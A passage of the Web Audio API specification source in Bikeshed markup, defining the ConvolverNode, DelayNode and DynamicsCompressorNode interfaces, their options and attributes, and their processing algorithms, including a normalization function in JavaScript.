value.\n\n\t\t\tNote: This means that the buffer will be normalized according to the\n\t\t\tvalue of the {{ConvolverNode/normalize}}\n\t\t\tattribute.\n\n\t\t3. Let <var>o</var> be new {{AudioNodeOptions}} dictionary.\n\t\t4. If {{AudioNodeOptions/channelCount}}\n\t\t        <a for=map>exists</a> in\n\t\t\t<var>options</var>, set {{AudioNodeOptions/channelCount}} on <var>o</var>\n\t\t\twith the same value.\n\t\t5. If {{AudioNodeOptions/channelCountMode}} \n\t\t\t<a for=map>exists</a> in\n\t\t\t<var>options</var>, set {{AudioNodeOptions/channelCountMode}} on\n\t\t\t<var>o</var> with the same value.\n\t\t6. If {{AudioNodeOptions/channelInterpretation}} \n\t\t\t<a for=map>exists</a> in\n\t\t\t<var>options</var>, set {{AudioNodeOptions/channelInterpretation}} on\n\t\t\t<var>o</var> with the same value.\n\t\t7. <a href=\"#audionode-constructor-init\">Initialize the AudioNode</a>\n\t\t\t<var>this</var>, with <var>c</var> and <var>o</var> as argument.\n\n\t\t<pre class=argumentdef for=\"ConvolverNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{ConvolverNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{ConvolverNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"ConvolverNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"ConvolverNode\">\n\t: <dfn>buffer</dfn>\n\t::\n\t\tAt the time when this attribute is set, the {{ConvolverNode/buffer}} and\n\t\tthe state of the {{normalize}} attribute will be used to\n\t\tconfigure the {{ConvolverNode}} with this\n\t\timpulse response having the given normalization. The initial\n\t\tvalue of this attribute is null.\n\n\t\t<div algorithm=\"set convolver buffer\">\n\t\t\tWhen setting the <dfn>buffer attribute</dfn>, execute the following <span\n\t\t\t\tclass=\"synchronously\">steps synchronously</span>:\n\t\t\t1. If the buffer {{AudioBuffer/numberOfChannels|number of channels}} is not 1, 2, 4, or if the\n\t\t\t\t{{AudioBuffer/sampleRate|sample-rate}} of the buffer is not the same as the\n\t\t\t\t{{BaseAudioContext/sampleRate|sample-rate}} of its <a\n\t\t\t\t\thref=\"#associated\">associated</a> {{BaseAudioContext}}, a\n\t\t\t\t{{NotSupportedError}} MUST be thrown.\n\t\t\t2. <a href=\"#acquire-the-content\">Acquire the content</a> of the\n\t\t\t\t{{AudioBuffer}}.\n\t\t</div>\n\n\t\tNote: If the {{ConvolverNode/buffer}} is set to an new\n\t\tbuffer, audio may glitch.  If this is undesirable, it\n\t\tis recommended to create a new {{ConvolverNode}} to\n\t\treplace the old, possibly cross-fading between the\n\t\ttwo.\n\n\t\tNote: The {{ConvolverNode}} produces a mono output only in the\n\t\tsingle case where there is a single input channel and a\n\t\tsingle-channel {{ConvolverNode/buffer}}. In all other cases, the\n\t\toutput is stereo. In particular, when the {{ConvolverNode/buffer}}\n\t\thas four channels and there are two input channels, the\n\t\t{{ConvolverNode}} performs matrix \"true\" stereo\n\t\tconvolution. For normative information please see the\n\t\t<a href=\"#Convolution-channel-configurations\">channel\n\t\tconfiguration diagrams</a>\n\n\t: <dfn>normalize</dfn>\n\t::\n\t\tControls whether the impulse response from the buffer will be\n\t\tscaled by an equal-power normalization when the\n\t\t{{ConvolverNode/buffer}} atttribute is set. Its default value is\n\t\t`true` in order to achieve a more uniform output\n\t\tlevel from the convolver when loaded with diverse impulse\n\t\tresponses. If {{normalize}} is set to\n\t\t<code>false</code>, then the convolution will be rendered with\n\t\tno pre-processing/scaling of the impulse response. Changes to\n\t\tthis value do not take effect until the next time the\n\t\t{{ConvolverNode/buffer}} attribute is set.\n\n\t\tIf the {{normalize}} attribute is false when the\n\t\t{{ConvolverNode/buffer}} attribute is set then the\n\t\t{{ConvolverNode}} will perform a linear\n\t\tconvolution given the exact impulse response contained within\n\t\tthe {{ConvolverNode/buffer}}.\n\n\t\tOtherwise, if the {{normalize}} attribute is true when the\n\t\t{{ConvolverNode/buffer}} attribute is set then the\n\t\t{{ConvolverNode}} will first perform a scaled\n\t\tRMS-power analysis of the audio data contained within\n\t\t{{ConvolverNode/buffer}} to calculate a <var>normalizationScale</var>\n\t\tgiven this algorithm:\n\n\t\t<pre highlight=\"js\" line-numbers>\n\t\tfunction calculateNormalizationScale(buffer) {\n\t\t\tconst GainCalibration = 0.00125;\n\t\t\tconst GainCalibrationSampleRate = 44100;\n\t\t\tconst MinPower = 0.000125;\n\n\t\t\t// Normalize by RMS power.\n\t\t\tconst numberOfChannels = buffer.numberOfChannels;\n\t\t\tconst length = buffer.length;\n\n\t\t\tlet power = 0;\n\n\t\t\tfor (let i = 0; i &lt; numberOfChannels; i++) {\n\t\t\t\tlet channelPower = 0;\n\t\t\t\tconst channelData = buffer.getChannelData(i);\n\n\t\t\t\tfor (let j = 0; j &lt; length; j++) {\n\t\t\t\t\tconst sample = channelData[j];\n\t\t\t\t\tchannelPower += sample * sample;\n\t\t\t\t}\n\n\t\t\t\tpower += channelPower;\n\t\t\t}\n\n\t\t\tpower = Math.sqrt(power / (numberOfChannels * length));\n\n\t\t\t// Protect against accidental overload.\n\t\t\tif (!isFinite(power) || isNaN(power) || power &lt; MinPower)\n\t\t\t\tpower = MinPower;\n\n\t\t\tlet scale = 1 / power;\n\n\t\t\t// Calibrate to make perceived volume same as unprocessed.\n\t\t\tscale *= GainCalibration;\n\n\t\t\t// Scale depends on sample-rate.\n\t\t\tif (buffer.sampleRate)\n\t\t\t\tscale *= GainCalibrationSampleRate / buffer.sampleRate;\n\n\t\t\t// True-stereo compensation.\n\t\t\tif (numberOfChannels == 4)\n\t\t\t\tscale *= 0.5;\n\n\t\t\treturn scale;\n\t\t}\n\t\t</pre>\n\n\t\tDuring processing, the ConvolverNode will then take this\n\t\tcalculated <var>normalizationScale</var> value and multiply it by\n\t\tthe result of the linear convolution resulting from processing\n\t\tthe input with the impulse response (represented by the\n\t\t{{ConvolverNode/buffer}}) to produce the final output. Or any\n\t\tmathematically equivalent operation may be used, such as\n\t\tpre-multiplying the input by <var>normalizationScale</var>, or\n\t\tpre-multiplying a version of the impulse-response by\n\t\t<var>normalizationScale</var>.\n</dl>\n\n<h4 dictionary lt=\"convolveroptions\" id=\"ConvolverOptions\">\n{{ConvolverOptions}}</h4>\n\nThe specifies options for constructing a\n{{ConvolverNode}}. All members are optional; if not\nspecified, the node is contructing using the normal defaults.\n\n<pre class=\"idl\">\ndictionary ConvolverOptions : AudioNodeOptions {\n\tAudioBuffer? buffer;\n\tboolean disableNormalization = false;\n};\n</pre>\n\n<h5 id=\"dictionary-convolveroptions-members\">\nDictionary {{ConvolverOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"ConvolverOptions\">\n\t: <dfn>buffer</dfn>\n\t::\n\t\tThe desired buffer for the {{ConvolverNode}}.\n\t\tThis buffer will be normalized according to the value of\n\t\t{{ConvolverOptions/disableNormalization}}.\n\n\t: <dfn>disableNormalization</dfn>\n\t::\n\t\tThe opposite of the desired initial value for the\n\t\t{{ConvolverNode/normalize}}\n\t\tattribute of the {{ConvolverNode}}.\n</dl>\n\n<h4 id=\"Convolution-channel-configurations\">\nChannel Configurations for Input, Impulse Response and Output</h4>\n\nImplementations MUST support the following allowable configurations\nof impulse response channels in a {{ConvolverNode}}\nto achieve various reverb effects with 1 or 2 channels of input.\n\nAs shown in the diagram below, single channel convolution operates on a mono audio input, using a\nmono impulse response, and generating a mono output. The remaining\nimages in the diagram illustrate the supported cases for mono and\nstereo playback where the number of channels of the input is 1 or 2, and the number of channels in the {{ConvolverNode/buffer}} is 1, 2, or 4.\nDevelopers desiring more complex and arbitrary matrixing can use a\n{{ChannelSplitterNode}}, multiple single-channel\n{{ConvolverNode}}s and a\n{{ChannelMergerNode}}.\n\nIf this node is not [=actively processing=], the output is a single\nchannel of silence.\n\nNote: The diagrams below show the outputs when [=actively processing=].\n\n<figure id=\"convolver-diagram\">\n\t<img alt=\"reverb matrixing\" src=\"images/convolver-diagram.png\">\n\t<figcaption>\n\t\tA graphical representation of supported input and output channel\n\t\tcount possibilities when using a\n\t\t{{ConvolverNode}}.\n\t</figcaption>\n</figure>\n\n\n<!--\n████████  ████████ ██          ███    ██    ██\n██     ██ ██       ██         ██ ██    ██  ██\n██     ██ ██       ██        ██   ██    ████\n██     ██ ██████   ██       ██     ██    ██\n██     ██ ██       ██       █████████    ██\n██     ██ ██       ██       ██     ██    ██\n████████  ████████ ████████ ██     ██    ██\n-->\n\n<h3 interface lt=\"delaynode\" id=\"DelayNode\">\nThe {{DelayNode}} Interface</h3>\n\nA delay-line is a fundamental building block in audio applications.\nThis interface is an {{AudioNode}} with a single\ninput and single output.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: Yes\n\ttail-time-notes: Continues to output non-silent audio with zero input up to the <l>{{DelayOptions/maxDelayTime}}</l> of the node.\n</pre>\n\nThe number of channels of the output always equals the number of\nchannels of the input.\n\nIt delays the incoming audio signal by a certain amount.\nSpecifically, at each time <em>t</em>, input signal\n<em>input(t)</em>, delay time <em>delayTime(t)</em> and output signal\n<em>output(t)</em>, the output will be <em>output(t) = input(t -\ndelayTime(t))</em>. The default <code>delayTime</code> is 0 seconds\n(no delay).\n\nWhen the number of channels in a {{DelayNode}}'s input changes\n(thus changing the output channel count also), there may be delayed\naudio samples which have not yet been output by the node and are part\nof its internal state. If these samples were received earlier with a\ndifferent channel count, they MUST be upmixed or downmixed before\nbeing combined with newly received input so that all internal\ndelay-line mixing takes place using the single prevailing channel\nlayout.\n\nNote: By definition, a {{DelayNode}} introduces an audio processing\nlatency equal to the amount of the delay.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface DelayNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional DelayOptions options = {});\n\treadonly attribute AudioParam delayTime;\n};\n</pre>\n\n<h4 id=\"DelayNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"DelayNode/constructor()\">\n\t: <dfn>DelayNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"DelayNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{DelayNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{DelayNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"DelayNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"DelayNode\">\n\t: <dfn>delayTime</dfn>\n\t::\n\t\tAn {{AudioParam}} object representing the\n\t\tamount of delay (in seconds) to apply. Its default\n\t\t<code>value</code> is 0 (no delay). The minimum value is 0 and\n\t\tthe maximum value is determined by the\n\t\t{{maxDelayTime!!argument}} argument to the\n\t\t{{AudioContext}} method {{createDelay()}} or the {{DelayOptions/maxDelayTime}} member of the {{DelayOptions}} dictionary for the {{DelayNode/DelayNode()|constructor}}.\n\n\t\tIf {{DelayNode}} is part of a <a>cycle</a>,\n\t\tthen the value of the {{DelayNode/delayTime}} attribute\n\t\tis clamped to a minimum of one <a>render quantum</a>.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: 0\n\t\t\tmax: <l>{{DelayOptions/maxDelayTime}}</l>\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"delayoptions\" id=\"DelayOptions\">\n{{DelayOptions}}</h4>\n\nThis specifies options for constructing a\n{{DelayNode}}. All members are optional; if not\ngiven, the node is constructed using the normal defaults.\n\n<pre class=\"idl\">\ndictionary DelayOptions : AudioNodeOptions {\n\tdouble maxDelayTime = 1;\n\tdouble delayTime = 0;\n};\n</pre>\n\n<h5 id=\"dictionary-delayoptions-members\">\nDictionary {{DelayOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"DelayOptions\">\n\t: <dfn>delayTime</dfn>\n\t:: The initial delay time for the node.\n\n\t: <dfn>maxDelayTime</dfn>\n\t:: The maximum delay time for the node.  See {{BaseAudioContext/createDelay(maxDelayTime)/maxDelayTime!!argument|createDelay(maxDelayTime)}} for constraints.\n</dl>\n\n<h4 id=\"DelayNode-processing\">Processing</h4>\n\nA {{DelayNode}} has an internal buffer that holds {{DelayNode|delayTime}}\nseconds of audio.\n\nThe processing of a {{DelayNode}} is broken down in two parts: writing to the\ndelay line, and reading from the delay line. This is done via two internal\n{{AudioNode}}s (that are not available to authors and exist only to ease\nthe description of the inner workings of the node). Both are created from a\n{{DelayNode}}.\n\nCreating a <dfn>DelayWriter</dfn> for a {{DelayNode}} means creating an object\nthat has the same interface as an {{AudioNode}}, and that writes the input audio\ninto the internal buffer of the {{DelayNode}}. It has the same input connections\nas the {{DelayNode}} it was created from.\n\nCreating a <dfn>DelayReader</dfn> for a {{DelayNode}} means creating an object\nthat has the same interface as an {{AudioNode}}, and that can read the audio\ndata from the internal buffer of the {{DelayNode}}. It is connected to the same\n{{AudioNode}}s as the {{DelayNode}} it was created from. A <a>DelayReader</a> is\na <a>source node</a>.\n\nWhen processing an input buffer, a <a>DelayWriter</a> MUST write the audio to\nthe internal buffer of the {{DelayNode}}.\n\nWhen producing an output buffer, a <a>DelayReader</a> MUST yield exactly the\naudio that was written to the corresponding <a>DelayWriter</a>\n{{DelayNode|delayTime}} seconds ago.\n\nNote: This means that channel count changes are reflected after the delay time\nhas passed.\n\n<!--\n████████  ██    ██ ██    ██    ███    ██     ██ ████  ██████   ██████\n██     ██  ██  ██  ███   ██   ██ ██   ███   ███  ██  ██    ██ ██    ██\n██     ██   ████   ████  ██  ██   ██  ████ ████  ██  ██       ██\n██     ██    ██    ██ ██ ██ ██     ██ ██ ███ ██  ██  ██        ██████\n██     ██    ██    ██  ████ █████████ ██     ██  ██  ██             ██\n██     ██    ██    ██   ███ ██     ██ ██     ██  ██  ██    ██ ██    ██\n████████     ██    ██    ██ ██     ██ ██     ██ ████  ██████   ██████\n-->\n<!--\n ██████   ███████  ██     ██ ████████  ████████  ████████  ██████   ██████   ███████  ████████\n██    ██ ██     ██ ███   ███ ██     ██ ██     ██ ██       ██    ██ ██    ██ ██     ██ ██     ██\n██       ██     ██ ████ ████ ██     ██ ██     ██ ██       ██       ██       ██     ██ ██     ██\n██       ██     ██ ██ ███ ██ ████████  ████████  ██████    ██████   ██████  ██     ██ ████████\n██       ██     ██ ██     ██ ██        ██   ██   ██             ██       ██ ██     ██ ██   ██\n██    ██ ██     ██ ██     ██ ██        ██    ██  ██       ██    ██ ██    ██ ██     ██ ██    ██\n ██████   ███████  ██     ██ ██        ██     ██ ████████  ██████   ██████   ███████  ██     ██\n-->\n\n<h3 interface lt=\"dynamicscompressornode\" id=\"DynamicsCompressorNode\">\nThe {{DynamicsCompressorNode}} Interface</h3>\n\n{{DynamicsCompressorNode}} is an\n{{AudioNode}} processor implementing a dynamics\ncompression effect.\n\nDynamics compression is very commonly used in musical production and\ngame audio. It lowers the volume of the loudest parts of the signal\nand raises the volume of the softest parts. Overall, a louder,\nricher, and fuller sound can be achieved. It is especially important\nin games and musical applications where large numbers of individual\nsounds are played simultaneous to control the overall signal level\nand help avoid clipping (distorting) the audio output to the\nspeakers.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-notes: Has <a>channelCount constraints</a>\n\tcc-mode: clamped-max\n\tcc-mode-notes: Has <a>channelCountMode constraints</a>\n\tcc-interp: speakers\n\ttail-time: Yes\n\ttail-time-notes:  This node has a <a>tail-time</a> such that this node continues to output non-silent audio with zero input due to the look-ahead delay.\n</pre>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface DynamicsCompressorNode : AudioNode {\n\tconstructor (BaseAudioContext context,\n\t             optional DynamicsCompressorOptions options = {});\n\treadonly attribute AudioParam threshold;\n\treadonly attribute AudioParam knee;\n\treadonly attribute AudioParam ratio;\n\treadonly attribute float reduction;\n\treadonly attribute AudioParam attack;\n\treadonly attribute AudioParam release;\n};\n</pre>\n\n<h4 id=\"DynamicsCompressorNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=\"method\" dfn-for=\"DynamicsCompressorNode/constructor()\">\n\t: <dfn>DynamicsCompressorNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\tLet <dfn attribute for=\"DynamicsCompressorNode\">[[internal reduction]]</dfn>\n\t\tbe a private slot on <var>this</var>, that holds a floating point number, in\n\t\tdecibels. Set {{[[internal reduction]]}} to 0.0.\n\n\t\t<pre class=argumentdef for=\"DynamicsCompressorNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{DynamicsCompressorNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{DynamicsCompressorNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"DynamicsCompressorNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"DynamicsCompressorNode\">\n\t: <dfn>attack</dfn>\n\t::\n\t\tThe amount of time (in seconds) to reduce the gain by 10dB.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: .003\n\t\t\tmin: 0\n\t\t\tmax: 1\n\t\t\trate: \"{{AutomationRate/k-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>knee</dfn>\n\t::\n\t\tA decibel value representing the range above the threshold\n\t\twhere the curve smoothly transitions to the \"ratio\" portion.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 30\n\t\t\tmin: 0\n\t\t\tmax: 40\n\t\t\trate: \"{{AutomationRate/k-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>ratio</dfn>\n\t::\n\t\tThe amount of dB change in input for a 1 dB change in output.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 12\n\t\t\tmin: 1\n\t\t\tmax: 20\n\t\t\trate: \"{{AutomationRate/k-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>reduction</dfn>\n\t::\n\t\tA read-only decibel value for metering purposes, representing the\n\t\tcurrent amount of gain reduction that the compressor is applying\n\t\tto the signal. If fed no signal the value will be 0 (no gain\n\t\treduction). When this attribute is read, return the value of the\n\t\tprivate slot {{[[internal reduction]]}}.\n\n\t: <dfn>release</dfn>\n\t::\n\t\tThe amount of time (in seconds) to increase the gain by 10dB.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: .25\n\t\t\tmin: 0\n\t\t\tmax: 1\n\t\t\trate: \"{{AutomationRate/k-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>threshold</dfn>\n\t::\n\t\tThe decibel value above which the compression will start taking effect.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: -24\n\t\t\tmin: -100\n\t\t\tmax: 0\n\t\t\trate: \"{{AutomationRate/k-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"dynamicscompressoroptions\" id=\"DynamicsCompressorOptions\">\n{{DynamicsCompressorOptions}}</h4>\n\nThis specifies the options to use in constructing a\n{{DynamicsCompressorNode}}. All members are\noptional; if not specified the normal defaults are used in\nconstructing the node.\n\n<pre class=\"idl\">\ndictionary DynamicsCompressorOptions : AudioNodeOptions {\n\tfloat attack = 0.003;\n\tfloat knee = 30;\n\tfloat ratio = 12;\n\tfloat release = 0.25;\n\tfloat threshold = -24;\n};\n</pre>\n\n<h5 id=\"dictionary-dynamicscompressoroptions-members\">\nDictionary {{DynamicsCompressorOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"DynamicsCompressorOptions\">\n\t: <dfn>attack</dfn>\n\t:: The initial value for the {{DynamicsCompressorNode/attack}} AudioParam.\n\n\t: <dfn>knee</dfn>\n\t:: The initial value for the {{DynamicsCompressorNode/knee}} AudioParam.\n\n\t: <dfn>ratio</dfn>\n\t:: The initial value for the {{DynamicsCompressorNode/ratio}} AudioParam.\n\n\t: <dfn>release</dfn>\n\t:: The initial value for the {{DynamicsCompressorNode/release}} AudioParam.\n\n\t: <dfn>threshold</dfn>\n\t:: The initial value for the {{DynamicsCompressorNode/threshold}} AudioParam.\n</dl>\n\n<h4 id=\"DynamicsCompressorOptions-processing\">\nProcessing</h4>\n\nDynamics compression can be implemented in a variety of ways. The\n{{DynamicsCompressorNode}} implements a dynamics processor that\nhas the following characteristics:\n\n* Fixed look-ahead (this means that an\n\t{{DynamicsCompressorNode}} adds a fixed latency to the signal\n\tchain).\n\n* Configurable attack speed, release speed, threshold, knee\n\thardness and ratio.\n\n* Side-chaining is not supported.\n\n* The gain reduction is reported <em>via</em> the\n\t<code>reduction</code> property on the\n\t{{DynamicsCompressorNode}}.\n\n* The compression curve has three parts:\n\t* The first part is the identity: \\(f(x) = x\\).\n\n\t* The second part is the soft-knee portion, which MUST be a\n\t\tmonotonically increasing function.\n\n\t* The third part is a linear function: \\(f(x) =\n\t\t\\frac{1}{ratio} \\cdot x \\).\n\n\tThis curve MUST be continuous and piece-wise differentiable,\n\tand corresponds to a target output level, based on the input\n\tlevel.\n\nGraphically, such a curve would look something like this:\n\n<figure>\n\t<img alt=\"Graphical representation of a compression curve\" src=\"images/compression-curve.svg\" style=\"width: 50%\">\n\t<figcaption>\n\t\tA typical compression curve, showing the knee portion (soft or\n\t\thard) as well as the threshold.\n\t</figcaption>\n</figure>\n\nInternally, the {{DynamicsCompressorNode}} is described with a\ncombination of other {{AudioNode}}s, as well as a special\nalgorithm, to compute the gain reduction value.\n\nThe following {{AudioNode}} graph is used internally,\n<code>input</code> and <code>output</code> respectively being the\ninput and output {{AudioNode}}, <code>context</code> the\n{{BaseAudioContext}} for this {{DynamicsCompressorNode}}, and\na new class, <dfn>EnvelopeFollower</dfn>, that instantiates a\nspecial object that behaves like an {{AudioNode}}, described\nbelow:\n\n<pre>\n\tconst delay = new DelayNode(context, {delayTime: 0.006});\n\tconst gain = new GainNode(context);\n\tconst compression = new EnvelopeFollower();\n\n\tinput.connect(delay).connect(gain).connect(output);\n\tinput.connect(compression).connect(gain.gain);\n</pre>\n\n<figure>\n\t<img src=\"images/dynamicscompressor-internal-graph.svg\" alt=\"Schema of\n\tthe internal graph used by the DynamicCompressorNode\">\n\t<figcaption>\n\t\tThe graph of internal {{AudioNode}}s used as part of the\n\t\t{{DynamicsCompressorNode}} processing algorithm.\n\t</figcaption>\n</figure>\n\nNote: This implements the pre-delay and the application of the reduction gain.\n\nThe following algorithm describes the processing performed by an\n<a>EnvelopeFollower</a> object, to be applied to the input\nsignal to produce the gain reduction value. An\n<a>EnvelopeFollower</a> has two slots holding floating point\nvalues. Those values persist accros invocation of this algorithm.\n\n* Let <dfn attribute for=\"DynamicsCompressorNode\">[[detector average]]</dfn> be a floating point\n\tnumber, initialized to 0.0.\n\n* Let <dfn attribute for=\"DynamicsCompressorNode\">[[compressor gain]]</dfn> be a floating point\n\tnumber, initialized to 1.0.\n\n<div algorithm=\"reduction-gain\">\n\tThe following algorithm allow determining a value for\n\t<var>reduction gain</var>, for each sample of input, for a render\n\tquantum of audio.\n\n\n\t1. Let <var>attack</var> and <var>release</var> have the values of\n\t\t{{DynamicsCompressorNode/attack}} and {{DynamicsCompressorNode/release}}, respectively, sampled at the time of\n\t\tprocessing (those are <a>k-rate</a> parameters), mutiplied by the\n\t\tsample-rate of the {{BaseAudioContext}} this\n\t\t{{DynamicsCompressorNode}} is <a href=\"#associated\">associated</a> with.\n\n\t1. Let <var>detector average</var> be the value of the slot {{[[detector average]]}}.\n\n\t1. Let <var>compressor gain</var> be the value of the slot {{[[compressor gain]]}}.\n\n\t1. For each sample <var>input</var> of the render quantum to be\n\t\tprocessed, execute the following steps:\n\n\t\t1. If the absolute value of <var>input</var> is less than\n\t\t\t0.0001, let <var>attenuation</var> be 1.0. Else, let\n\t\t\t<var>shaped input</var> be the value of applying the <a href=\"#compression-curve\">compression curve</a> to the absolute\n\t\t\tvalue of <var>input</var>. Let <var>attenuation</var> be\n\t\t\t<var>shaped input</var> divided by the absolute value of <var>input</var>.\n\n\t\t2. Let <var>releasing</var> be `true` if\n\t\t\t<var>attenuation</var> is greater than <var>compressor\n\t\t\tgain</var>, <code>false</code> otherwise.\n\n\t\t3. Let <var>detector rate</var> be the result of applying the\n\t\t\t<a href=\"#detector-curve\">detector curve</a> to\n\t\t\t<var>attenuation</var>.\n\n\t\t4. Subtract <var>detector average</var> from\n\t\t\t<var>attenuation</var>, and multiply the result by\n\t\t\t<var>detector rate</var>. Add this new result to <var>detector average</var>.\n\n\t\t5. Clamp <var>detector average</var> to a maximum of 1.0.\n\n\t\t6. Let <var>envelope rate</var> be the result of <a>computing the envelope rate</a> based on values of <var>attack</var> and <var>release</var>.\n\n\t\t7. If <var>releasing</var> is `true`, set\n\t\t\t<var>compressor gain</var> to be the product of\n\t\t\t<var>compressor gain</var> and <var>envelope rate</var>, clamped\n\t\t\tto a maximum of 1.0.\n\n\t\t8. Else, if <var>releasing</var> is <code>false</code>, let\n\t\t\t<var>gain increment</var> to be <var>detector average</var>\n\t\t\tminus <var>compressor gain</var>. Multiply <var>gain\n\t\t\tincrement</var> by <var>envelope rate</var>, and add the result\n\t\t\tto <var>compressor gain</var>.\n\n\t\t9. Compute <var>reduction gain</var> to be <var>compressor\n\t\t\tgain</var> multiplied by the return value of <a>computing the\n\t\t\tmakeup gain</a>.\n\n\t\t10. Compute <var>metering gain</var> to be <var>reduction gain</var>, <a href=\"#linear-to-decibel\">converted to\n\t\t\tdecibel</a>.\n\n\t1. Set {{[[compressor gain]]}} to <var>compressor\n\t\tgain</var>.\n\n\t1. Set {{[[detector average]]}} to <var>detector\n\t\taverage</var>.\n\n\t1. <a>Atomically</a> set the internal slot {{[[internal reduction]]}}\n\t\tto the value of <var>metering gain</var>.\n\n\t\tNote: This step makes the metering gain update once per block, at the\n\t\tend of the block processing.\n</div>\n\nThe makeup gain is a fixed gain stage that only depends on ratio,\nknee and threshold parameter of the compressor, and not on the\ninput signal. The intent here is to increase the output level of\nthe compressor so it is comparable to the input level.\n\n<div algorithm=\"computing makeup gain\">\n\t<dfn>Computing the makeup gain</dfn> means executing the following steps:\n\n\t1. Let <var>full range gain</var> be the value returned by\n\t\tapplying the <a>compression curve</a> to the value 1.0.\n\n\t2. Let <var>full range makeup gain</var> be the inverse of <var>full\n\t\trange gain</var>.\n\n\t3. Return the result of taking the 0.6 power of <var>full range makeup\n\t\tgain</var>.\n</div>\n\n<div algorithm=\"computing envelope rate\">\n\t<dfn>Computing the envelope rate</dfn> is done\n\tby applying a function to the ratio of the <var>compressor\n\tgain</var> and the <var>detector average</var>. User-agents are\n\tallowed to choose the shape of the envelope function. However, this\n\tfunction MUST respect the following constraints:\n\n\t* The envelope rate MUST be the calculated from the ratio of the\n\t\t<var>compressor gain</var> and the <var>detector average</var>.\n\n\t\tNote: When attacking, this number less than or equal to 1, when\n\t\treleasing, this number is strictly greater than 1.\n\n\t* The attack curve MUST be a continuous, monotonically increasing\n\t\tfunction in the range \\([0, 1]\\).  The shape of this curve MAY be controlled by {{DynamicsCompressorNode/attack}}.\n\n\t* The release curve MUST be a continuous, monotonically\n\t\tdecreasing function that is always greater than 1.  The shape of this curve MAY be controlled by {{DynamicsCompressorNode/release}}.\n\n\tThis operation returns the value computed by applying this function\n\tto the ratio of <var>compressor gain</var> and <var>detector\n\taverage</var>.\n</div>\n\nApplying the <dfn id=\"detector-curve\">detector curve</dfn> to the\nchange rate when attacking or releasing allow implementing\n<em>adaptive release</em>. It is a function that MUST respect the\nfollowing constraints:\n\n* The output of the function MUST be in \\([0,1]\\).\n\n* The function MUST be monotonically increasing, continuous.\n\nNote: It is allowed, for example, to have a compressor that performs an\n<em>adaptive release</em>, that is, releasing faster the harder the\ncompression, or to have curves for attack and release that are not\nof the same shape.\n\n<div algorithm=\"apply decompression\">\n\tApplying a <dfn>compression curve</dfn> to a value means computing\n\tthe value of this sample when passed to a function, and returning\n\tthe computed value. This function MUST respect the following\n\tcharacteristics:\n\n\t1. Let <var>threshold</var> and <var>knee</var> have the\n\t\tvalues of {{DynamicsCompressorNode/threshold}} and\n\t\t{{DynamicsCompressorNode/knee}}, respectively,\n\t\t[=decibels to linear gain unit|converted to linear\n\t\tunits=] and sampled at the time of processing of this\n\t\tblock (as [=k-rate=] parameters).\n\t\n\t1. Calculate the sum of {{DynamicsCompressorNode/threshold}} plus\n\t\t{{DynamicsCompressorNode/knee}} also sampled at the time\n\t\tof processing of this block (as [=k-rate=] parameters).\n\t\t\n\t1. Let <var>knee end threshold</var> have the value of this\n\t\tsum [=decibels to linear gain unit|converted to linear\n\t\tunits=].\n\n\t1. Let <var>ratio</var> have the value of the\n\t\t{{DynamicsCompressorNode/ratio}}, sampled at the time\n\t\tof processing of this block (as a [=k-rate=]\n\t\tparameter).\n\n\t1. This function is the identity up to the value of the linear\n\t\t<var>threshold</var> (i.e., \\(f(x) = x\\)).\n\n\t1. From the <var>threshold</var> up to the\n\t\t<var>knee end threshold</var>, User-Agents can choose the\n\t\tcurve shape. The whole function MUST be monotonically\n\t\tincreasing and 